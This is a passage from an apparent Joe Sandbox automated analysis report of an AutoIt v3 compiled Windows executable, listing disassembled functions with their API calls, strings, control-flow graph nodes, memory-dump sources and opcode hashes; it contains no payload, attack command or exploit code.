                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: DestroySendStringUninitializeUnregisterWindow
                                                          • String ID: close all
                                                          • API String ID: 1992507300-3243417748
                                                          • Opcode ID: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
                                                          • Instruction ID: ee6256652ddf718890a33c1de2346eda0e9ea668716d1fe3fa622273e4f01a15
                                                          • Opcode Fuzzy Hash: 0215e1cc10e3ea8240ae12a3d7c0b21f24d7e33af532eefbf93780fbe33f8b49
                                                          • Instruction Fuzzy Hash: 15E11822B2AE0281EE58DB16D56027C2360BFD6F44F5444B5EB0ED7291EF3CEC669B01
                                                          Function 00007FF6A5373B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60windowregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                          • String ID: AutoIt v3
                                                          • API String ID: 423443420-1704141276
                                                          • Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
                                                          • Instruction ID: 985b0c78996bb72a43817e9a8aa0774581a104b39644eed33662b2f441a95fb0
                                                          • Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
                                                          • Instruction Fuzzy Hash: FB312436A0AB428AE760CB51F8483A837B4FB9AB59F000139C98D97B24DFBCD854C740
                                                          Function 00007FF6A53B7348 Relevance: 13.8, APIs: 9, Instructions: 272fileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 419 7ff6a53b7348-7ff6a53b73ba call 7ff6a53b7078 422 7ff6a53b73d3-7ff6a53b73dd call 7ff6a53ae418 419->422 423 7ff6a53b73bc-7ff6a53b73c4 call 7ff6a53a55b4 419->423 428 7ff6a53b73df-7ff6a53b73f5 call 7ff6a53a55b4 call 7ff6a53a55d4 422->428 429 7ff6a53b73f7-7ff6a53b7463 CreateFileW 422->429 430 7ff6a53b73c7-7ff6a53b73ce call 7ff6a53a55d4 423->430 428->430 432 7ff6a53b7469-7ff6a53b7470 429->432 433 7ff6a53b74eb-7ff6a53b74f6 GetFileType 429->433 447 7ff6a53b771a-7ff6a53b7736 430->447 436 7ff6a53b7472-7ff6a53b7476 432->436 437 7ff6a53b74b8-7ff6a53b74e6 GetLastError call 7ff6a53a5564 432->437 439 7ff6a53b74f8-7ff6a53b7533 GetLastError call 7ff6a53a5564 CloseHandle 433->439 440 7ff6a53b7549-7ff6a53b754f 433->440 436->437 445 7ff6a53b7478-7ff6a53b74b6 CreateFileW 436->445 437->430 439->430 453 7ff6a53b7539-7ff6a53b7544 call 7ff6a53a55d4 439->453 443 7ff6a53b7551-7ff6a53b7554 440->443 444 7ff6a53b7556-7ff6a53b7559 440->444 450 7ff6a53b755e-7ff6a53b75ac call 7ff6a53ae334 443->450 444->450 451 7ff6a53b755b 444->451 445->433 445->437 458 7ff6a53b75c0-7ff6a53b75ea call 7ff6a53b6de4 450->458 459 7ff6a53b75ae-7ff6a53b75ba call 7ff6a53b7284 450->459 451->450 453->430 464 7ff6a53b75fe-7ff6a53b7643 458->464 465 7ff6a53b75ec 458->465 466 7ff6a53b75ef-7ff6a53b75f9 call 7ff6a53b04b8 459->466 467 7ff6a53b75bc 459->467 469 7ff6a53b7665-7ff6a53b7671 464->469 470 7ff6a53b7645-7ff6a53b7649 464->470 465->466 466->447 467->458 473 7ff6a53b7718 469->473 474 7ff6a53b7677-7ff6a53b767b 469->474 470->469 472 7ff6a53b764b-7ff6a53b7660 470->472 472->469 473->447 474->473 475 7ff6a53b7681-7ff6a53b76c9 CloseHandle CreateFileW 474->475 476 7ff6a53b76fe-7ff6a53b7713 475->476 477 7ff6a53b76cb-7ff6a53b76f9 GetLastError call 7ff6a53a5564 call 7ff6a53ae548 475->477 476->473 477->476
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                          • String ID:
                                                          • API String ID: 1617910340-0
                                                          • Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
                                                          • Instruction ID: d391ea54abc758d0548b58fa3eae97f306ccccb088ee83a4f0485b4175432290
                                                          • Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
                                                          • Instruction Fuzzy Hash: 0CC1C033B2AE418AEB10DB64D4413BC3761EB9ABA8F055235DE1E9B795EF38D855C300
                                                          Function 00007FF6A53825BC Relevance: 12.4, APIs: 8, Instructions: 442windowtimeCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 557 7ff6a53825bc-7ff6a538263d 561 7ff6a5382643-7ff6a538267c 557->561 562 7ff6a538287e-7ff6a53828af 557->562 563 7ff6a5382680-7ff6a5382687 561->563 565 7ff6a538268d-7ff6a53826a1 563->565 566 7ff6a5382856-7ff6a5382876 563->566 568 7ff6a53826a7-7ff6a53826bc 565->568 569 7ff6a53cd148-7ff6a53cd14f 565->569 566->562 572 7ff6a53829c8-7ff6a53829eb PeekMessageW 568->572 573 7ff6a53826c2-7ff6a53826c9 568->573 570 7ff6a53cd155 569->570 571 7ff6a5382702-7ff6a5382723 569->571 578 7ff6a53cd15a-7ff6a53cd160 570->578 589 7ff6a5382725-7ff6a538272c 571->589 590 7ff6a538276e-7ff6a53827d2 571->590 574 7ff6a53826e8-7ff6a53826ef 572->574 575 7ff6a53829f1-7ff6a53829f5 572->575 573->572 576 7ff6a53826cf-7ff6a53826d4 573->576 582 7ff6a53ce285-7ff6a53ce293 574->582 583 7ff6a53826f5-7ff6a53826fc 574->583 579 7ff6a53829fb-7ff6a5382a05 575->579 580 7ff6a53cd1aa-7ff6a53cd1bb 575->580 576->572 581 7ff6a53826da-7ff6a53826e2 GetInputState 576->581 585 7ff6a53cd162-7ff6a53cd176 578->585 586 7ff6a53cd19b 578->586 579->578 587 7ff6a5382a0b-7ff6a5382a1d call 7ff6a5392de8 579->587 580->574 581->572 581->574 588 7ff6a53ce29d-7ff6a53ce2b5 call 7ff6a538f1c4 582->588 583->571 583->588 585->586 592 7ff6a53cd178-7ff6a53cd17f 585->592 586->580 605 7ff6a5382a33-7ff6a5382a4f PeekMessageW 587->605 606 7ff6a5382a1f-7ff6a5382a2d TranslateMessage DispatchMessageW 587->606 588->566 589->590 591 7ff6a538272e-7ff6a5382738 589->591 627 7ff6a53827d8-7ff6a53827da 590->627 628 7ff6a53ce276 590->628 596 7ff6a538273f-7ff6a5382742 591->596 592->586 597 7ff6a53cd181-7ff6a53cd190 TranslateAcceleratorW 592->597 601 7ff6a5382748 596->601 602 7ff6a53828b0-7ff6a53828b7 596->602 597->587 603 7ff6a53cd196 597->603 607 7ff6a538274f-7ff6a5382752 601->607 608 7ff6a53828eb-7ff6a53828ef 602->608 609 7ff6a53828b9-7ff6a53828cc timeGetTime 602->609 603->605 605->574 611 7ff6a5382a55 605->611 606->605 612 7ff6a5382758-7ff6a5382761 607->612 613 7ff6a53828f4-7ff6a53828fb 607->613 608->596 614 7ff6a53cd2ab-7ff6a53cd2b0 609->614 615 7ff6a53828d2-7ff6a53828d7 609->615 611->575 619 7ff6a5382767 612->619 620 7ff6a53cd4c7-7ff6a53cd4ce 612->620 617 7ff6a5382901-7ff6a5382905 613->617 618 7ff6a53cd2f8-7ff6a53cd303 613->618 621 7ff6a53828dc-7ff6a53828e5 614->621 622 7ff6a53cd2b6 614->622 615->621 623 7ff6a53828d9 615->623 617->607 625 7ff6a53cd305 618->625 626 7ff6a53cd309-7ff6a53cd30c 618->626 619->590 621->608 629 7ff6a53cd2bb-7ff6a53cd2f3 timeGetTime call 7ff6a5392ac0 call 7ff6a53f3a28 621->629 622->629 623->621 625->626 630 7ff6a53cd312-7ff6a53cd319 626->630 631 7ff6a53cd30e 626->631 627->628 632 7ff6a53827e0-7ff6a53827ee 627->632 628->582 629->608 635 7ff6a53cd322-7ff6a53cd329 630->635 636 7ff6a53cd31b 630->636 631->630 632->628 637 7ff6a53827f4-7ff6a5382819 632->637 641 7ff6a53cd332-7ff6a53cd33d call 7ff6a53942a0 635->641 642 7ff6a53cd32b 635->642 636->635 638 7ff6a538290a-7ff6a538290d 637->638 639 7ff6a538281f-7ff6a5382829 call 7ff6a5382b70 637->639 644 7ff6a5382931-7ff6a5382933 638->644 645 7ff6a538290f-7ff6a538291a call 7ff6a5382e30 638->645 648 7ff6a538282e-7ff6a5382836 639->648 641->601 642->641 650 7ff6a5382935-7ff6a5382949 call 7ff6a53866c0 644->650 651 7ff6a5382971-7ff6a5382974 644->651 645->648 653 7ff6a538283c 648->653 654 7ff6a538299e-7ff6a53829ab 648->654 664 7ff6a538294e-7ff6a5382950 650->664 657 7ff6a538297a-7ff6a5382997 call 7ff6a53801a0 651->657 658 7ff6a53cdfbe-7ff6a53cdfc0 651->658 663 7ff6a5382840-7ff6a5382843 653->663 659 7ff6a53ce181-7ff6a53ce197 call 7ff6a5394c24 * 2 654->659 660 7ff6a53829b1-7ff6a53829be call 7ff6a5394c24 654->660 674 7ff6a538299c 657->674 661 7ff6a53cdfc2-7ff6a53cdfc5 658->661 662 7ff6a53cdfed-7ff6a53cdff6 658->662 659->628 660->572 661->663 668 7ff6a53cdfcb-7ff6a53cdfe7 call 7ff6a5383c20 661->668 671 7ff6a53ce005-7ff6a53ce00c 662->671 672 7ff6a53cdff8-7ff6a53ce003 662->672 669 7ff6a5382849-7ff6a5382850 663->669 670 7ff6a5382b17-7ff6a5382b1d 663->670 664->648 673 7ff6a5382956-7ff6a5382966 664->673 668->662 669->563 669->566 670->669 680 7ff6a5382b23-7ff6a5382b2d 670->680 678 7ff6a53ce00f-7ff6a53ce016 call 7ff6a5408b98 671->678 672->678 673->648 679 7ff6a538296c 673->679 674->664 689 7ff6a53ce01c-7ff6a53ce036 call 7ff6a53f34e4 678->689 690 7ff6a53ce0d7-7ff6a53ce0d9 678->690 684 7ff6a53ce0f4-7ff6a53ce10e call 7ff6a53f34e4 679->684 680->569 691 7ff6a53ce110-7ff6a53ce11d 684->691 692 7ff6a53ce147-7ff6a53ce14e 684->692 705 7ff6a53ce06f-7ff6a53ce076 689->705 706 7ff6a53ce038-7ff6a53ce045 689->706 693 7ff6a53ce0df-7ff6a53ce0ee call 7ff6a540a320 690->693 694 7ff6a53ce0db 690->694 696 7ff6a53ce135-7ff6a53ce142 call 7ff6a5394c24 691->696 697 7ff6a53ce11f-7ff6a53ce130 call 7ff6a5394c24 * 2 691->697 692->669 698 7ff6a53ce154-7ff6a53ce15a 692->698 693->684 694->693 696->692 697->696 698->669 703 7ff6a53ce160-7ff6a53ce169 698->703 703->659 705->669 708 7ff6a53ce07c-7ff6a53ce082 705->708 710 7ff6a53ce05d-7ff6a53ce06a call 7ff6a5394c24 706->710 711 7ff6a53ce047-7ff6a53ce058 call 7ff6a5394c24 * 2 706->711 708->669 715 7ff6a53ce088-7ff6a53ce091 708->715 710->705 711->710 715->690
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Message$Peek$DispatchInputStateTimeTranslatetime
                                                          • String ID:
                                                          • API String ID: 3249950245-0
                                                          • Opcode ID: 4e5214824c5420639b9de00f29baad83bafa904f2dd3af1d4c39dffda22c8357
                                                          • Instruction ID: 2b50a6e2e869d8642ca2fbb477b5bd77308fd671d95bce71a35be8351cd8e96d
                                                          • Opcode Fuzzy Hash: 4e5214824c5420639b9de00f29baad83bafa904f2dd3af1d4c39dffda22c8357
                                                          • Instruction Fuzzy Hash: F6229F32A1EB8286EB69CB20E4543B927A0FB92F44F544135EA4EC7695EF3CEC45C741
                                                          Function 00007FF6A5373CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 849 7ff6a5373cbc-7ff6a5373d88 CreateWindowExW * 2 ShowWindow * 2
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$Create$Show
                                                          • String ID: AutoIt v3$d$edit
                                                          • API String ID: 2813641753-2600919596
                                                          • Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
                                                          • Instruction ID: 00e549f26cdab4ddde23b39380eb3534f4dde9754f81f46a82d215ff049bed69
                                                          • Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
                                                          • Instruction Fuzzy Hash: 1D213D72A29B41C6E760CF10F44836D77E0F79AB99F104238D68D8AA54CFBDD545CB00
                                                          Function 00007FF6A5377EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185comCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                            • Part of subcall function 00007FF6A5392D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6A5377FA5), ref: 00007FF6A5392D8E
                                                            • Part of subcall function 00007FF6A5392D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6A5377FA5), ref: 00007FF6A5392D9C
                                                            • Part of subcall function 00007FF6A5392D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6A5377FA5), ref: 00007FF6A5392DAC
                                                            • Part of subcall function 00007FF6A5392D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6A5377FA5), ref: 00007FF6A5392DBC
                                                            • Part of subcall function 00007FF6A5392D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6A5377FA5), ref: 00007FF6A5392DCA
                                                            • Part of subcall function 00007FF6A5392D5C: MapVirtualKeyW.USER32(?,?,?,00007FF6A5377FA5), ref: 00007FF6A5392DD8
                                                            • Part of subcall function 00007FF6A538EEC8: RegisterWindowMessageW.USER32 ref: 00007FF6A538EF76
                                                          • GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6A537106D), ref: 00007FF6A5378209
                                                          • OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6A537106D), ref: 00007FF6A537828F
                                                          • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6A537106D), ref: 00007FF6A53BD36A
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                          • String ID: AutoIt
                                                          • API String ID: 1986988660-2515660138
                                                          • Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
                                                          • Instruction ID: 54dca13d59992cbffca6af91781ad61f057ed8243b511f95d158b68a773a7c33
                                                          • Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
                                                          • Instruction Fuzzy Hash: 38C1C271D1AB4289F740DF15E8902787BA8FFA6B50F50023AD44DC2AB1EFBCA955C781
                                                          Function 00007FF6A53772C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: IconLoadNotifyShell_Stringwcscpy
                                                          • String ID: Line:
                                                          • API String ID: 3135491444-1585850449
                                                          • Opcode ID: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
                                                          • Instruction ID: 3abfb49f691d33daee36c2ee0037a610011d2dd65cf05f12d3b05c03ff22785f
                                                          • Opcode Fuzzy Hash: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
                                                          • Instruction Fuzzy Hash: 25415262A1AE86D7EB20DB20D4402F96761FBD6B44F845031D68D87A9AEF7CED44C740
                                                          Function 00007FF6A5373F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetOpenFileNameW.COMDLG32 ref: 00007FF6A53BBAA2
                                                            • Part of subcall function 00007FF6A53756D4: GetFullPathNameW.KERNEL32(?,00007FF6A53756C1,?,00007FF6A5377A0C,?,?,?,00007FF6A537109E), ref: 00007FF6A53756FF
                                                            • Part of subcall function 00007FF6A5373EB4: GetLongPathNameW.KERNELBASE ref: 00007FF6A5373ED8
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Name$Path$FileFullLongOpen
                                                          • String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
                                                          • API String ID: 779396738-2360590182
                                                          • Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
                                                          • Instruction ID: 10071bc052e4aabf646c6235d7f9440420f31631b7fab78a28e77f67b25fc49d
                                                          • Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
                                                          • Instruction Fuzzy Hash: DE314E62A19B8285E710DF21E8401A977A4FB8AF84F544175DE8C87B56EF7CD945C700
                                                          Function 00007FF6A5394610 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: IconNotifyShell_Timer$Killwcscpy
                                                          • String ID:
                                                          • API String ID: 3812282468-0
                                                          • Opcode ID: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
                                                          • Instruction ID: 30fe26fa6e7e59c1b820fd09cc8507c1bf89ff3cd7296c0614e909679b853ff3
                                                          • Opcode Fuzzy Hash: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
                                                          • Instruction Fuzzy Hash: A831C173A1EBC287EB21CB2191502BD37A8E786F84F584032CE4C8B749DE2CDA448750
                                                          Function 00007FF6A5376F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF6A5376F52,?,?,?,?,?,?,00007FF6A537782C), ref: 00007FF6A5376FA5
                                                          • RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF6A5376F52,?,?,?,?,?,?,00007FF6A537782C), ref: 00007FF6A5376FD3
                                                          • RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF6A5376F52,?,?,?,?,?,?,00007FF6A537782C), ref: 00007FF6A5376FFA
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CloseOpenQueryValue
                                                          • String ID:
                                                          • API String ID: 3677997916-0
                                                          • Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
                                                          • Instruction ID: 86365bbb5ef28dd1cc59eaf8df7fd909d37f50aee9635a066704776056f95122
                                                          • Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
                                                          • Instruction Fuzzy Hash: 12217732A29B41C7D710CF25E450AAEB7A4FB9AB94B441131EB8DC3B14EF39E814CB04
                                                          Function 00007FF6A5399118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$CurrentExitTerminate
                                                          • String ID:
                                                          • API String ID: 1703294689-0
                                                          • Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
                                                          • Instruction ID: bf3025b7a941cad6945aeb679ac0eb0b5deb21d2fbff1606e5d2b3cbcfb90635
                                                          • Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
                                                          • Instruction Fuzzy Hash: 3BE01A60B16B0582EF04EB609C993B92362AFDAF41F005078C80FC7392EE3DEC488301
                                                          Function 00007FF6A53866C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
